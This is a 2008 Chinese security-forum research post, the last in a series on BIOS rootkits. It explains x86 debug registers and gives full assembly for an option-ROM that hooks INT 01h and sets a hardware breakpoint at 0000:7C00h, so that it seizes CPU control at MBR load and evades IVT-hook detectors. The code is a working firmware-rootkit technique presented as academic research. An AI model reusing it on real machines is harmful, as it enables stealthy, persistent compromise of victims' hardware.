• 标 题:BIOS Rootkit实现分析与检测技术研究系列之--设置硬件断点躲避IVT Hook检测程序
  • 作 者:ppanger
  • 时 间:2008-12-18 18:29
  • 链 接:http://bbs.pediy.com/showthread.php?t=78939

BIOS Rootkit实现分析与检测技术研究系列之--设置硬件断点躲避IVT Hook检测程序 



本节目录
1. 引言
2. 硬件断点
3. 使用硬件断点控制CPU流程
4. 小结


引言

      Kris Kaspersky在《Shellcoder 编程揭秘》一书中提到:“主BIOS代码通常加载位于0000:7C00h地址的boot/MBR扇区,并把控制权交给它。在这个地址设置硬件断点,当所有的设备初始化之后,立即触发它。”
    在这篇文章中,我们讨论另外一种躲避IVT Hook检测程序的方法。这里我们将通过设置硬件断点来实现。本文只进行技术研究,文中涉及到的技术有一定的危害性,请不要利用文中技术从事任何触犯法律法规的活动。否则一切后果由用户自行承担,与本文作者无关。


硬件断点

      先从张银奎先生的著作《软件调试》中,引用一下关于调试寄存器和硬件断点的相关概念。

      Intel从386开始,在调试方面引入了调试寄存器和硬件断点的概念。
    IA-32处理器定义了8个调试寄存器,分别为DR0~DR7。在32位模式下,它们都是32位的;在64位模式下,都是64位。
    DR4和DR5是保留的。其他6个寄存器为:4个32位的调试地址寄存器(DR0~DR3);1个32位的调试控制寄存器(DR7)和1个32位的调试状态寄存器(DR6)。通过以上寄存器可以最多设置4个断点,DR0~DR3用来指定断点的内存(线性地址)或I/O地址。DR7用来进一步定义断点的中断条件。DR6的作用是当调试事件发生时,向调试器(debugger)报告事件的详细信息,以供调试器判断发生的是何种事件。
    调试地址寄存器(DR0~DR3)用来指定断点的地址。对于设置在内存空间中的断点,这个地址应该是断点的线性地址而不是物理地址,因为CPU是在线性地址被翻译为物理地址之前来做断点匹配工作的。这意味着,在保护模式下,我们不能使用调试寄存器来针对一个物理内存地址设置断点。
    调试控制寄存器DR7,有24位是被分成4组分别与四个调试地址寄存器相对应。如L0、G0、R/W0和LEN0这6位是与DR0相对应的,L1、G1、R/W1和LEN1是与DR1相对应的,依此类推。就与DR0相对应的6位来说:
    R/W0为读写域,占第16、17位。其对应DR0提哦是地址寄存器,用来指定被监控地址的访问类型。00代表仅当执行对应地址的指令时中断;01代表仅当向对应地址写数据时中断;10对于386和486都不支持这种组合。11代表当向相应地址读写数据时都中断,但是从该地址读取指令除外。
    LEN0为长度域,占第18、19位。其对应DR0提哦是地址寄存器,用来指定要监控的区域长度。00代表1个字节长;01代表2个字节长;10代表8个字节长;11代表4字节长。
    L0为局部断点启用标志位,占第0位。其对应DR0提哦是地址寄存器,用来启用或禁止对应断点的局部匹配。如果该位设为1,当CPU在当前任务中检测到满足所定义的断点条件时便中断,并且自动清除次位。如果该位设为0,便禁用此断点。
    G0为全部断点启用位,占第1位。其对应DR0提哦是地址寄存器,用来全局启用和禁止对应的断点。如果该位设为1,当CPU在任何任务中检测到满足所定义的断点条件时都会中断;如果该位设为0,便禁止此断点。与L0不同,断点条件发生时,CPU不会清除此位。
    LE和GE位,LE占第8位,GE占第9位。从486开始的IA-32处理器都忽略这两位的设置。
    GD为通用保护设置位,占第13位。该位启用或者禁止对寄存器的保护。当设为1时,如果CPU检测到将修改调试寄存器(DR0~DR7)的指令时,CPU会在执行这条指令前产生一个调试异常。
对于R/W0读写域,通过对其设置,我们又可以指定断点的访问类型,如监控对全局变量或局部变量读写操作的数据访问断点;监控CPU执行指令的指令断点;监控I/O空间读写操作的I/O访问断点。当硬件断点触发时,系统会产生调试异常,并用int 01h号中断来进行默认处理。
      更多细节,可参考《软件调试》一书。


使用硬件断点控制CPU流程

      通过上述对硬件断点的简单介绍,我们可以发现,如果在BIOS启动运行时的关键内存地址进行硬件断点设置,同时修改int 01h中断(如使用Hook IVT的方法)指向我们的自定义程序,当断点触发时我们就有机会控制CPU流程,借此得到机会运行我们的BIOS Rootkit。《Shellcoder 编程揭秘》一书中,选择的内存地址为0000h:7c00h,即BIOS加载MBR以进行系统引导的默认地址。Kris Kaspersky提供了设置硬件断点的示例代码,如下:

;------------------------------------------------------------
MOV AX, CS                 ; Trap the INT 01h interrupt
XOR BX, BX
MOV DS, BX
MOV [BX], offset our_vx_code   ; Offset of the custom handler
MOV [BX+2], BX              ; in relation to segment 0000h
MOV DS, AX

MOV EAX, 00000000000000001100000010b
;          | |       | |      | |       | |__> Bit Lx can be set.
;          | |       | |      | |       
;          | |       | |      | |___________> Bits LE & GE. P6 ignores
;          | |       | |                    them. Therefore, their 
;          | |       | |                    value is not critical.
;          | |       | |         
;          | |       | |__________________> Interrupt by execution.
;          | |                
;          | |__________________________> LEN Breakpoint length-1 byte


MOV EBX, 7C00h
;          ^^^^^^ - Linear physical buffer address,
;                 by which the boot sector will be loaded.

MOV DR7, EAX
MOV DR0, EBX
; ^ Load the values into debug registers. Starting from this point,
; any access to the breakpoint will generate INT 01h.
;------------------------------------------------------------
以上程序摘自《Shellcoder 编程揭秘》


    我们把上述程序进行实际测试(主要测试设置DR7调试控制寄存器的值),发现以上程序不能在地址0000h:7c00h处正常触发硬件断点。通过实验,我们改进了DR7触发条件,得到程序如下:

;--------------------------------------------------------------
;
; HardBp.asm 

; by Jacky Peng 2008.8.8
;
; 设置硬件中断来取得CPU控制权
;
;--------------------------------------------------------------


;restore origin int 19h   
    old_int01h  equ  85h*4
    
    
;org head
    org  0

;isa rom head
    dw 0aa55h
    db 01h
    
;jmp begin of program
    jmp  begin
  
    
;---------------------------- 字符串常量 ------------------------------
msgShow    db  'Our own Int 01h procedure!',0  
;----------------------------------------------------------------------


;-------------------------------- 实用子程序 来自romos项目 ----------------------------

;----------------------------- 打印16进制(字)--------------------
whexw:  
  xchg  dh,dl    
  call  whexb    
  xchg  dh,dl    
  call  whexb    
  ret      

;----------------------------- 打印16进制(字节)------------------
whexb:  
  push  ax    
  push  dx
  pushf
  mov  dh,dl
  and  dl,00fh   
  and  dh,0f0h   
  ror  dh,4    
  call  @whb1    
  mov  dh,dl
  call  @whb1    
  popf
  pop  dx
  pop  ax
  ret
@whb1:  
  cmp  dh,0ah  
  jc  @whb2    
  add  dh,7    
@whb2:  
  add  dh,'0'    
  mov  ah,0eh    
  mov  al,dh    
  int  10h    
  ret      

;----------------------------- 打印字符串 ------------------------
write:  
  pusha      
  pushf      
  push  bx    
  call  wherexy   
  mov  ah,9    
  xor  cx,cx    
  xchg  cl,bh    
  and  cl,7fh    
@wri1:  
  mov  al,[cs:si]  
  cmp  al,0    
  je  @wri2    
  int  10h    
  inc  si    
  inc  dl    
  call  gotoxy    
  jmp  short @wri1  
@wri2:  
  pop  bx    
  cmp  bh,80h    
  js  @wri3    
  popf      
  popa      
wcrlf:  
  pusha      
  pushf      
  mov  ax,0e0dh  
  xor  bl,bl    
  int  10h    
  mov  al,0ah    
  int  10h    
@wri3:  
  popf      
  popa      
  ret      
  
;----------------------------- 打印16进制地址(DX:CX) ------------------------  
whexptr:
  push  ax    
  push  bx    
  call  whexw    
  xchg  dx,cx    
  xor  bl,bl    
  mov  ax,0e3ah  
  int  10h    
  call  whexw    
  xchg  dx,cx    
  pop  bx    
  pop  ax
  ret      

;----------------------------- 调整光标位置-----------------------
wherexy:
  push  ax    
  push  bx
  push  cx
  mov  ah,3    
  mov  bh,0    
  int  10h    
  pop  cx    
  pop  bx
  pop  ax
  ret      


;----------------------------- 调整光标位置-----------------------
gotoxy: 
  push  ax    
  push  bx    
  mov  ah,2    
  mov  bh,0    
  int  10h    
  pop  bx
  pop  ax
  ret      
  

;----------------------------- 延迟函数 -----------------------  
delay:        
  sti      
  push  ax    
  push  es    
  pushf
  push  byte 0    
  pop  es    
  mov  al,[es:046ch]  
  add  ah,al    
@dly1:  
  mov  al,[es:046ch]  
  cmp  ah,al    
  jne  @dly1    
  popf
  pop  es    
  pop  ax    
  ret      

;-------------------------------- 实用子程序完 来自romos项目 --------------------------



;-------------------------------- 自定义的int 01h中断例程 --------------------------
OurInt01h:
  pushf
  pusha
  
  
  ; 运行自定义程序,这里进行简单的字符串显示  
  call  wcrlf
  mov  si,msgShow
  mov  bx,810eh
  call  write 
  mov  ah,20
  call  delay
  
  push   byte 0
  pop  es
  mov  ax,0201h
  mov  bx,0200h
  mov  cx,0001h
  mov  dx,0080h
  int  13h
  
  mov  dx,[es:0200h]
  mov  cx,[es:0204h]
  call  wcrlf
  call  whexptr
  call  wcrlf
  
quit:
  inc  al
  mov  [cnt],al
  pop  ax
  
  
  push  es
  push  si
  push  di
  push  cx
  push  dx
  
  push  byte 0
  pop  es
  mov  si,01h*4
  mov  di,old_int01h
  
  mov  cx,[es:di]
  mov  [es:si],cx
  mov  dx,[es:di+2]
  mov  [es:si+2],dx  ; 恢复int 01h原始中断向量
  
  
  pop  dx
  pop  cx
  pop  di
  pop  si
  pop  es
  
  popa
    
  
  mov  ax,[es:si+2]
  push  ax
  mov  ax,[es:si]
  push  ax
  
  iret  ; 恢复到int 01h原始地址运行
;-----------------------------------------------------------------------------------


;----------------------------- 主程序(Hook Int 01h程序来自romos项目)-----------------

begin:
;------------------------------------------------------------------------------
  pushf
  pusha
  
  mov  ax,0
  mov  es,ax
  
  mov  si,01h*4
  mov  di,old_int01h
  
  mov  cx,[es:si]
  mov  [es:di],cx
  mov  dx,[es:si+2]
  mov  [es:di+2],dx  ; 保存
  
  mov  [es:di-1],byte 0eah
  mov  [es:si],word OurInt01h
  mov  [es:si+2],cs  ; hook
  
    
  popa
  popf
  
  ;-----------------------------------------------------------------------------
  pushf
  pusha
  
  mov  ax,cs
  mov  ds,ax

;  mov  eax,00000000000000001100000010b  
  mov  eax,00000000000000110010001100000011b
;                             ||  |   ||      ||
;                             ||  |   ||      ||______> Bit Lx can be set.
;                             ||  |   ||      |_______> Bit Gx - any.
;                             ||  |   ||   
;                             ||  |   |-______________> Bits LE & GE. P6 ignores them. Therefor, their value is not critical.
;                             ||  |   
;                             ||  |___________________>
;                             ||
;                             |-______________________>
;
;
;

  
;  mov  eax,00000000000000110010001100000011b
  
  mov  ebx,7c00h

  mov  dr7,eax
  mov  dr0,ebx
  
  
  popa
  popf  
  
  retf  

;----------------------------- 主程序结束 --------------------------

times  512-($-$$) db 0
;------------------------------------------------------------


    程序通过设置硬件断点直接操纵磁盘,读取MBR数据。原来测试结果的相关的图片找了一下午都没找到,可能清理机子的时候弄丢了,抱歉。
    在测试过程中被Bochs欺骗了一次。这个程序本来在Bochs中正常运行,于是把它刷写进家里台式机的BIOS。结果,MBR是读出来了,机子也死了。没办法,拆了主板,花了30RMB抱去给维修店用编程器恢复了一次。问题可能出在这个程序的堆栈平衡存在问题。建议大家用Bochs调试,不要实际刷写进BIOS。当然,只读个MBR,确实也没多大意思。^_^
      这种方法验证以后,在xfocus上搜索到一篇也是利用硬件断点的文章。作者的目标是操纵windows操作系统,哈,异曲同工呀。


小结

    本文是这个系列的最后一篇。回顾这个系列,我们讨论了BIOS Rootkit实现的典型机制,并在此基础上提出了一些相应的检测思路。这些思路都是一些稚嫩的尝试,旨在抛砖引玉。现在,BIOS Rootkit实现的相关技术,也在不断向PCI设备、嵌入式设备等硬件蔓延。而本系列中提出的检测技术和方法,也许可以为这些领域的检测研究提供一些思路。感谢大家的支持。最后附上我毕业论文的完整技术实现(其实就是这个系列文章的汇总),希望和大家交流、共同提高。




再次感谢大家的支持  


ppanger 2008.12.18.
上传的附件 BIOS Rootkit 及其检测技术的研究--技术完整版.rar [附件请到论坛下载:http://bbs.pediy.com/showthread.php?t=78939 ]